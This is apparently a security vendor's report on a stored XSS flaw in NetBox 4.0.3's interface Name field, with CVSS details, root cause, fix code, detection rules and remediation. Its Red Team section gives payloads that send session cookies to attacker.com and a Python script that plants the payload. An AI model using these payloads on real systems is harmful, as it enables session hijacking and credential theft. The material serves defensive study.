CVE-2024-40729
Executive Summary
CVE-2024-40729 is a stored Cross-Site Scripting (XSS) vulnerability in NetBox v4.0.3, specifically within the /dcim/interfaces/add/ endpoint. An authenticated attacker with the ability to create or edit interfaces can inject arbitrary JavaScript or HTML into the Name parameter. When an administrator or other user views the affected interface list, the payload executes in their browser session, potentially leading to session hijacking, credential theft, or further lateral movement within the NetBox instance. The vulnerability has a CVSS v3.1 base score of 4.8 (Medium), with a low attack complexity but requiring user interaction. No official patch has been released; mitigation relies on strict input validation and output encoding.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
NetBox is a Python/Django-based application distributed via PyPI and GitHub. This vulnerability affects the core application code, not a third-party package. However, organizations using NetBox should verify their deployment version and apply any vendor-recommended security configurations. No malicious packages have been identified in the supply chain related to this CVE.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions required beyond standard web access.
- Privileges Required (PR): Low (L) – Attacker needs an authenticated account with interface creation privileges.
- User Interaction (UI): Required (R) – A victim user must view the malicious interface.
- Scope (S): Changed (C) – The vulnerable component impacts resources beyond its security scope.
- Confidentiality (C): Low (L) – Limited data exposure possible.
- Integrity (I): Low (L) – Limited ability to modify data.
- Availability (A): None (N) – No direct impact on availability.
Threat Level: Medium. Exploitation requires authentication and user interaction, but the stored XSS nature allows persistent attacks against multiple users.
Deep Dive & Mechanics
The vulnerability resides in the interface creation form at /dcim/interfaces/add/. The Name field is not properly sanitized before being stored in the database and later rendered in the HTML interface list. NetBox uses Django templates, which by default auto-escape HTML, but the Name field is likely rendered using the |safe filter or in a context where escaping is disabled (e.g., within a JavaScript block or attribute).
Attack Flow:
- Attacker logs into NetBox with an account that has permission to add interfaces to a device.
- Attacker navigates to
/dcim/interfaces/add/and injects a payload like<img src=x onerror=alert('XSS')>into theNamefield. - The payload is stored in the database without sanitization.
- When an administrator or other user views the device's interface list (e.g.,
/dcim/interfaces/), the payload executes in their browser. - The attacker can then steal session cookies, perform actions on behalf of the victim, or exfiltrate data.
Root Cause: Lack of input validation on the Name parameter and improper output encoding in the template rendering the interface list.
Vulnerable vs. Patched Code
Vulnerable Code (NetBox v4.0.3):
# forms.py (simplified)
class InterfaceForm(forms.ModelForm):
class Meta:
model = Interface
fields = ['device', 'name', 'type', ...]
# No custom validation on 'name' field
<!-- templates/dcim/interface_list.html (simplified) -->
<td>{{ interface.name|safe }}</td>
Patched Code (Hypothetical Fix):
# forms.py
from django.core.validators import RegexValidator
class InterfaceForm(forms.ModelForm):
name = forms.CharField(
validators=[RegexValidator(r'^[a-zA-Z0-9_\-]+$', 'Only alphanumeric, underscore, and hyphen allowed.')]
)
class Meta:
model = Interface
fields = ['device', 'name', 'type', ...]
<!-- templates/dcim/interface_list.html -->
<td>{{ interface.name }}</td> <!-- Remove |safe filter -->
Exploitation & Lab Setup
Red Team
Prerequisites:
- NetBox v4.0.3 instance (e.g., Docker:
docker run -p 8000:8000 netboxcommunity/netbox:v4.0.3) - Authenticated user with interface creation privileges.
Exploit Steps:
- Log in to NetBox.
- Navigate to a device's interface add page:
/dcim/interfaces/add/?device=<device_id>. - Inject payload into the
Namefield. Example payloads:<script>alert('XSS')</script><img src=x onerror=document.location='https://attacker.com/steal?cookie='+document.cookie><svg onload=fetch('https://attacker.com/exfil',{method:'POST',body:document.cookie})>
- Submit the form.
- Wait for a victim (e.g., admin) to view the interface list.
Automated Exploit (Python):
import requests
target = "http://netbox.local"
session = requests.Session()
# Login
login_data = {"username": "attacker", "password": "password"}
session.post(f"{target}/login/", data=login_data)
# Create malicious interface
payload = "<img src=x onerror=alert(1)>"
interface_data = {
"device": 1,
"name": payload,
"type": "1000base-t",
"_save": "Save"
}
session.post(f"{target}/dcim/interfaces/add/", data=interface_data)
print("Malicious interface created.")
Blue Team
Detection Steps:
- Monitor NetBox logs for unusual interface names containing HTML/JavaScript characters.
- Review database entries in the
dcim_interfacetable for suspiciousnamevalues. - Use web application firewall (WAF) rules to block XSS payloads in the
nameparameter. - Implement Content Security Policy (CSP) headers to mitigate XSS impact.
Hunting Query (SQL):
SELECT id, device_id, name FROM dcim_interface WHERE name ~ '<[^>]+>';
Indicators of Compromise (IOCs)
- Network: HTTP POST requests to
/dcim/interfaces/add/withnameparameter containing<script>,<img,<svg, or other HTML tags. - Host: NetBox application logs showing interface names with HTML entities.
- Database: Rows in
dcim_interfacetable wherenamecolumn contains<>characters. - File: No file-based IOCs; purely stored in database.
Detection Engineering
YARA Rule
rule Detect_NetBox_XSS_InterfaceName {
meta:
description = "Detects XSS payloads in NetBox interface names"
author = "Valters IT"
date = "2025-04-10"
cve = "CVE-2024-40729"
strings:
$xss1 = /<script[^>]*>.*?<\/script>/i
$xss2 = /<img[^>]+onerror\s*=/i
$xss3 = /<svg[^>]+onload\s*=/i
$xss4 = /<[^>]+on\w+\s*=\s*['"]?javascript:/i
condition:
any of them
}
Sigma Rule
title: NetBox Interface Name XSS Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects XSS payloads in NetBox interface creation requests
author: Valters IT
date: 2025/04/10
logsource:
category: web
product: netbox
detection:
selection:
cs-method: 'POST'
cs-uri-stem: '/dcim/interfaces/add/'
cs-arguments:
- '*<script*'
- '*<img*onerror*'
- '*<svg*onload*'
condition: selection
falsepositives:
- Legitimate use of special characters in interface names (unlikely)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2024-40729 NetBox Interface Name XSS Attempt";
flow:to_server,established;
content:"POST"; http_method;
content:"/dcim/interfaces/add/"; http_uri;
pcre:"/(<script|<img[^>]+onerror|<svg[^>]+onload)/i";
sid:1000001;
rev:1;
metadata:cve CVE-2024-40729;
)
Remediation & Mitigation
Immediate Actions:
- Input Validation: Add server-side validation to the
namefield to allow only alphanumeric characters, underscores, and hyphens. - Output Encoding: Remove any
|safefilters from templates rendering thenamefield. Use Django's default auto-escaping. - WAF Rules: Deploy WAF rules to block XSS payloads in the
nameparameter. - CSP Header: Implement a strict Content Security Policy (e.g.,
default-src 'self'; script-src 'self').
Long-Term Fix:
- Upgrade to a patched version of NetBox once available.
- Conduct a security audit of all user-input fields in the application.
- Implement automated security testing (SAST/DAST) in the CI/CD pipeline.
Workaround:
- Restrict interface creation privileges to trusted users only.
- Monitor logs for suspicious interface names.
Report generated by Valters IT DevSecOps & CTI Division. For inquiries, contact: security@valters-it.com
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.